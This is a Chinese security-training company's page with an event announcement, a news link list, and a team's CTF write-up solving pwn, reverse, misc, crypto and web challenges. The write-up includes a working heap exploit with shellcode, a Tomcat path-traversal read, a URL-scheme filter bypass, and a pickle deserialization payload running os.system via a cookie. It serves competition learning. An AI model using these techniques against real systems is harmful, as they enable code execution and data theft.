https://www.bleepingcomputer.com/news/security/qnap-fixes-critical-bugs-in-qvr-video-surveillance-solution/
蚁景科技亮相2021年世界互联网大会
2021年9月25日至28日,由国家互联网信息办公室、科学技术部、工业和信息化部、浙江省人民政府共同主办的2021年世界互联网大会“互联网之光”博览会在浙江乌镇举行。大会的主题是“迈向数字文明新时代——携手构建网络空间命运共同体”。湖南蚁景科技有限公司携手中国网络空间安全人才教育论坛(简称:网教盟)联合参加了本次“互联网之光”博览会。
湖南蚁景科技有限公司作为专业的“网络安全人才培养服务提供商”,一直专注于网安人才实战技能培养。本次展会主要展示内容是基于国内外最新网络靶场技术和研究成果,为网安人才实战技能培养提供新的解决方案——网络安全人才实训平台。
“网络安全人才实训平台”以“技能教学 + 实战演练”为核心,通过“蚁景网安直播课堂”的“学”和“蚁景网安实验室”的“练”这两大网安人才实战实训板块,实现网安人才技能学习积累、综合技能运用以及考核内推三大目标。同时为高校、政企单位、科研院所等行业客户提供在线实验教学的虚拟实验环境与各种课件资源,为广大网安爱好者提供技能培训、人才推荐等服务。
博览会期间,多位中央网信办、网安协会领导莅临湖南蚁景科技展区指导工作。9月25日,中央网信办原副主任、中国网络空间安全协会王秀军理事长,中国互联网发展基金会杨春艳秘书长,中国网络空间安全协会李欲晓秘书长等一行参观湖南蚁景科技展区并指导工作。9月27日,中央网信办赵泽良副主任,中国网络空间安全协会张健副秘书长,赵宏志副秘书长等领导一行,莅临展区视察。
网络安全日报 2021年09月27日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、JSC GREC Makeyev 和其他俄罗斯实体受到网络攻击
https://securityaffairs.co/wordpress/122589/hacking/jsc-grec-makeyev-russia-orgs-attacks.html2、谷歌TAG团队发现攻击者使用新的代码签名技巧来逃避检测
https://securityaffairs.co/wordpress/122576/hacking/code-signing-avoid-detection.html3、苹果iCloud Private Relay泄露用户真实IP
https://thehackernews.com/2021/09/apples-new-icloud-private-relay-service.html4、 Mac ZuRu 恶意软件利用百度推广进行传播
https://cyware.com/news/zuru-malware-exploits-baidu-search-results-7c48549c5、欧盟将Ghostwriter 黑客活动归咎于俄罗斯
https://www.bleepingcomputer.com/news/security/eu-officially-blames-russia-for-ghostwriter-hacking-activities/6、报告发现 68% 的恶意软件来自云应用程序
https://securityintelligence.com/news/cloud-security-malware-cloud-apps/7、Let's Encrypt 的根证书 将于 9 月 30 日到期
https://portswigger.net/daily-swig/device-breakage-concerns-persist-days-before-lets-encrypt-root-cert-expiry8、思科Talos发现攻击者使用商业RAT针对印度次大陆
https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html9、网络钓鱼活动冒充WhatsApp分发恶意软件
https://portswigger.net/daily-swig/fake-whatsapp-backup-message-delivers-malware-to-spanish-speakers-devices10、微软WPBT漏洞允许黑客在Windows设备安装rootkit
https://www.bleepingcomputer.com/news/security/microsoft-wpbt-flaw-lets-hackers-install-rootkits-on-windows-devices/
长城杯线上赛WP (团队解题思路)
本文为goodcat战队参赛wp,非官方出品
目录
https://www.yijinglab.com/pages/CTFLaboratory.jspPwn
1、 K1ng_in_h3Ap_II
libc2.27-0ubuntu1.4,存在明显的UAF;
tcahce double free 控制tcache struct,将counts[]数组全部填满后, 将其释放到unsortedbin可泄露libc;
之后再次double free 将free_hook改为setcontext,布置好orw,之后读出flag。
from pwn import*
context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"
context.terminal = ['tmux', 'splitw', '-h']
#r = process("./pwn2")
r = remote("47.104.175.110", 61608)
libc = ELF("./libc.so.6")
def allocate(index, size):
r.sendlineafter(">> \n", "1")
r.sendlineafter("input index:\n", str(index))
r.sendlineafter("input size:\n", str(size))
def delete(index):
r.sendlineafter(">> \n", "2")
r.sendlineafter("input index:\n", str(index))
def edit(index, content):
r.sendlineafter(">> \n", "3")
r.sendlineafter("input index:\n", str(index))
r.sendafter("input context:\n", content)
def show(index):
r.sendlineafter(">> \n", "4")
r.sendlineafter("input index:\n", str(index))
for i in range(8):
allocate(0, 0x10)
allocate(0, 0x40)
for i in range(7):
allocate(0, 0x60)
allocate(0, 0x60)
delete(0)
edit(0, 'a' * 0x10)
delete(0)
show(0)
heap_addr = u64(r.recv(6) + '\x00\x00') & 0xfffffffffffff000
print "heap_addr = " + hex(heap_addr)
edit(0, p64(heap_addr+0x10))
allocate(0, 0x60)
allocate(0, 0x60)
edit(0, 'a' * 64)
delete(0)
show(0)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
set_context = libc_base + libc.symbols['setcontext']
mprotect = libc_base + libc.sym['mprotect']
print "libc_base = " + hex(libc_base)
print "mprotect = " + hex(mprotect)
allocate(0, 0x58)
edit(0, '\x00' * 0x58)
allocate(1, 0x38)
delete(1)
edit(1, p64(free_hook))
allocate(1, 0x38)
allocate(1, 0x38)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(3, 0x10)
allocate(4, 0x30)
allocate(5, 0x30)
new_addr = free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % new_addr
edit(1, p64(set_context+53) + p64(free_hook+0x10) + asm(shellcode1))
edit(4, p64(0) + p64(new_addr) + p64(0x1000) + p64(0) + p64(0) + p64(7))
edit(5, p64(free_hook + 0x8) + p64(mprotect))
delete(2)
sleep(0.5)
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
r.sendline(asm(shellcode2))
r.interactive()
Re
1、 Just_cmp-re | Solved | working:
find the cmp str.
buu原题
hook原文
将原文转成qword
与加密key相加得到flag
flag{a14a424005b14e2b89ed45031ea791b9}
2、 Funny_js
根据题目名称,发现是一道js框架的题目
提取js字节码如下:
0x02, 0x1B, 0x06, 0x72, 0x63, 0x34, 0x04, 0x73, 0x6E, 0x02, 0x69, 0x02, 0x6A, 0x02, 0x6B, 0x02, 0x6C, 0x02, 0x6D, 0x02, 0x6E, 0x04, 0x75, 0x6E, 0x06, 0x61, 0x72, 0x72, 0x0C, 0x63, 0x69, 0x70, 0x68, 0x65, 0x72, 0x2A, 0x32, 0x30, 0x32, 0x31, 0x71, 0x75, 0x69, 0x63, 0x6B, 0x6A, 0x73, 0x5F, 0x68, 0x61,
参考了这一篇博客
对 quickjs.c 进行 patch:
得到字节码如下,对dump出来的字节码进行分析,提取出密文
[150, 224, 244, 68, 61, 125, 8, 239, 203, 254, 241, 113, 213, 176, 6
4, 106, 103, 166, 185, 159, 158, 172, 9, 213, 239, 12, 100, 185, 90, 174, 1
07, 131, 223, 122, 229, 157]
再提取出加密过程如下:
RC4_KEY="2021quickjs_happygame"
push_i16 150
push_i16 224
push_i16 244
push_i8 68
push_i8 61
push_i8 125
push_i8 8
push_i16 239
push_i16 203
push_i16 254
push_i16 241
push_i8 113
push_i16 213
push_i16 176
push_i8 64
push_i8 106
push_i8 103
push_i16 166
push_i16 185
push_i16 159
push_i16 158
push_i16 172
push_i8 9
push_i16 213
push_i16 239
push_i8 12
push_i8 100
push_i16 185
push_i8 90
push_i16 174
push_i8 107
push_i16 131
array_from 32
push_i16 223
define_field "32"
push_i8 122
define_field "33"
push_i16 229
define_field "34"
push_i16 157 43 define_field "35"
加密过程就是一个异或(56-17)外加rc4(key为2021quickjs_happygameH)
解密得到flag为flag{2021_9u1ck_1s_v3r7_1nT3r3st1n9}
Misc
1、你这flag保熟吗
binwalk提取两张图片,分别得到一个字母数字混合的表格和一个hint.txt
password.xls
hint.txt
希尔伯格曲线 取出表格中的字符,单独放到password.txt的文件中,运行脚本如下:
import base64
from hilbertcurve.hilbertcurve import HilbertCurve
array = []
password = ''
p = 8;n=2
hilbert_curve = HilbertCurve(p, n)
with open('password.txt','r',encoding='utf-16') as file:
# a = file.readline().replace("\t", "").replace("\n", "")
# print(a)
for i in range(256):
a = file.readline().replace("\t", "").replace("\n", "")
array.append(a)
for i in range(256*256):
[m,n] = hilbert_curve.point_from_distance(i)
password += array[n][m]
# print(password)
import base64
temp = password
for i in range(25):
temp = base64.b64decode(temp)
print(temp)
得到base64加密后的密文如下:
base解密得到密码
解压后发现里面是brainfuck
>+++++++++[<+++++++++++++ >-]>+ ++[< +++++++++++++++++++++++++++++
++++++++>-]>++[<+++++++++ +++++ ++++++ +++++++++++++++++++++++++++++
++++++++++++>-]>++++[<+++ +++++ ++++++++ +++++++++++++>-]>+++[<+++++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ +>-] ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ >>+++ +++[ <+++ +++++
+++++ +++++ +>-] >++[ <++++
+++++++++++++++++++++++++ +++++ +++++++>-]>+++++++++++[< +++++ ++++++>-]>++[<++
+++++++++++++++++++++++++ +++++ ++++++++++++++++++++++++++ +>-]> +++++++[<++++++++
+++++++>-]+++++++++++++++ +++++ ++++++++++++++++++++++++++++ +++++ +++ +++++
+++++ +++++ ++++ ++++ +++++ +++++
+++++ +++++ ++++ >>++ +++[< +++++
+++++ +++++ ++++ >-]> +++++ +++[<
+++++ +++++ +>-] >+++ +++[< +++++
+++++ +++++ ++>- ]>++ +++++ [<+++
+++++ +++++ ++>- ]+++ +++++ +++++
+++++ +++++++++++++++++++++++++++ ++++ ++++ +++++++++++++++++++++++++++++
+++++ ++++++++++++++>>++[<+++++++ ++++ ++++ +++++++++++++++++++++++++++++
+++++ ++++++++++>-]>+++++[<++++++ ++++ ++++ +++++>-]>+++++++[<+++++++>-]>
++++ ++++
[<+++ +++++
+>-]>+++++[<+++++++++++++++++++>-]>++++[<+++++++++++++>-]>+++++[<+++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++++++[<
++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>+++++++[<+++++++++++++++++>-
]>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++++[<+++++++++++++++>-]>+++++++++[<+++++++++++++>-]>++++++[<+++++++++++++++++
>-]>+++[<+++++++++++>-]>+++++[<+++++++++++++++++++>-]>++++++++++[<++++++++++++>-]>++++++[<+++++++++++++++++>-]>+++++++[<+++++++++++++++>-]++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++>-]>+++++[<+++++++++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>>+++
+++[<+++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>>+++[<+++++++++++++++++++++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>
然后解brainfuck可以得到
uozt{SrRyvig_Xfiev_1H_4_ee0mwviuf!_xfiev}
放到编码器里面发现是atbash
对应位置修改下大小写
flag{HiIbert_Curve_1S_4_vv0nderfu!_curve}
Crypto
1、 baby_rsa
to small? leak?
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert, is_prime
from tqdm import tqdm
primes = []
for xy in tqdm(range(500)):
for mn in range(500):
prime = xy**(mn+1) - (xy+1)**mn
if prime.bit_length() > 2048: break
if is_prime(prime):
primes.append(prime)
c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982
for i in range(len(primes)):
for j in range(i, len(primes)):
pq = primes[i]*primes[j]
if len(bin(pq)[2:]) == 2048:
try:
d = invert(0x10001, (primes[i]-1)*(primes[j]-1))
dec = long_to_bytes(pow(c, d, pq))
if b"flag{" in dec:
print(dec)
except ValueError:
pass
已知((fac[0]+fac[1]+fac[2]) << 1) - 1的值,用其替代n。分解((fac[0]+fac[1]+fac[2]) << 1) - 1求其欧拉函数,进而求解出d和第二段。
import gmpy2
from Crypto.Util.number import *
def main():
_n = 39796272592331896400626784951713239526857273168732133046667572399622660330587881579319314094557011554851873068389016629085963086136116425352535902598378739
e = 0x10001
c = 4062598101725026294523054845073895172556652025216341012456562212675473969368127164912710410903816485278776729640369746247545967054084582215039763992301322310291267474840242750158801886649087839467848206156152125336555002907556550798823272903205529899279271257456970484607551462482465412769174
phi_n = (191 - 1) * (193 - 1) * (627383 - 1) * (1720754738477317127758682285465031939891059835873975157555031327070111123628789833299433549669619325160679719355338187877758311485785197492710491 - 1)
d = gmpy2.invert(e, phi_n)
m = pow(c % _n, d, _n)
print(long_to_bytes(m))
if __name__ == '__main__':
main()
###
Web
1、java_url
一道Java_URL。
Tomcat/8.5.71
读 /../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF//web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>testurl</servlet-name>
<servlet-class>com.test2.aaa1.testURL</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>testurl</servlet-name>
<url-pattern>/testURL</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>download</servlet-name>
<servlet-class>com.test2.aaa1.download</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>download</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>
</web-app>
读 /../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/com/test2/aaa1/testURL.class
得到class文件
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class testURL extends HttpServlet {
protected void doGet(HttpServletRequest arg1, HttpServletResponse arg2) throws ServletException, IOException {
this.doPost(arg1, arg2);
}
protected void doPost(HttpServletRequest arg6, HttpServletResponse arg7) throws ServletException, IOException {
String tartget_url = arg6.getParameter("url");
if(tartget_url.substring(0, tartget_url.indexOf(":")).matches("(?i)file|(?i)gopher|(?i)data")) {
arg7.getWriter().write(String.valueOf(new StringBuilder().append("false")));
return;
}
arg7.getWriter().write(String.valueOf(this.getContent(tartget_url)));
}
public StringBuilder getContent(String arg8) throws IOException {
BufferedReader in = new BufferedReader(new InputStreamReader(new URL(arg8).openConnection().getInputStream()));
StringBuilder content = new StringBuilder();
while(true) {
String inputLine = in.readLine();
if(inputLine == null) {
return content;
}
content.append(inputLine);
content.append("\n");
}
return content;
}
}
读flag的payload /testURL?url=url:file:///flag
2、EZ_python
樱桃猫写了自己的第一个flask网站,你能帮他看看有什么问题吗?
网刃杯的easy_web,原题
文件读取,/proc/self/cmdline
app.py
import pickle
import base64
from flask import Flask, request
from flask import render_template,redirect,send_from_directory
import os
import requests
import random
from flask import send_file
app = Flask(__name__)
class User():
def __init__(self,name,age):
self.name = name
self.age = age
def check(s):
if b'R' in s:
return 0
return 1
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
if check(user):
user = pickle.loads(user)
username = user["username"]
else:
username = "bad,bad,hacker"
except:
username = "CTFer"
pic = '{0}.jpg'.format(random.randint(1,7))
try:
pic=request.args.get('pic')
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
except:
pic='{0}.jpg'.format(random.randint(1,7))
with open(pic, 'rb') as f:
base64_data = base64.b64encode(f.read())
p = base64_data.decode()
return render_template('index.html', uname=username, pic=p )
if __name__ == "__main__":
app.run('0.0.0.0',port=8888)
读 /proc/self/environ 没用
MAIL=/var/mail/appUSER=appHOSTNAME=engine-1SHLVL=1PYTHON_PIP_VERSION=20.1HOME=/home/appGPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568LOGNAME=app_=/bin/suPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyTERM=xtermPATH=/usr/local/bin:/usr/loca
网刃原题
import requests
import pickle
import base64
# e = 'ls / -a'
e = 'cat /flagggggggggggggaaa'
s = pickle.dumps(e)
# print(s)
payload = b'c__main__\nUser\n)\x81}(V__setstate__\ncos\nsystem\nubV' + \
e.encode()+b' > /tmp/1.txt\nb.'
response = requests.get("http://eci-2zecbk1aefg5marnfo77.cloudeci1.ichunqiu.com:8888/?pic=/tmp/1.txt",
cookies=dict(
user=base64.b64encode(payload).decode()))
for l in response.content.decode().split("\n"):
if "base64" in l:
l = l.split("\"")[1].split(",")[1]
print(base64.b64decode(l).decode())
flag{2e4af838-7d23-4b04-a77a-1519e8b14e8f}
更多好文,尽请期待!https://www.yijinglab.com/pages/CTFLaboratory.jsp
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

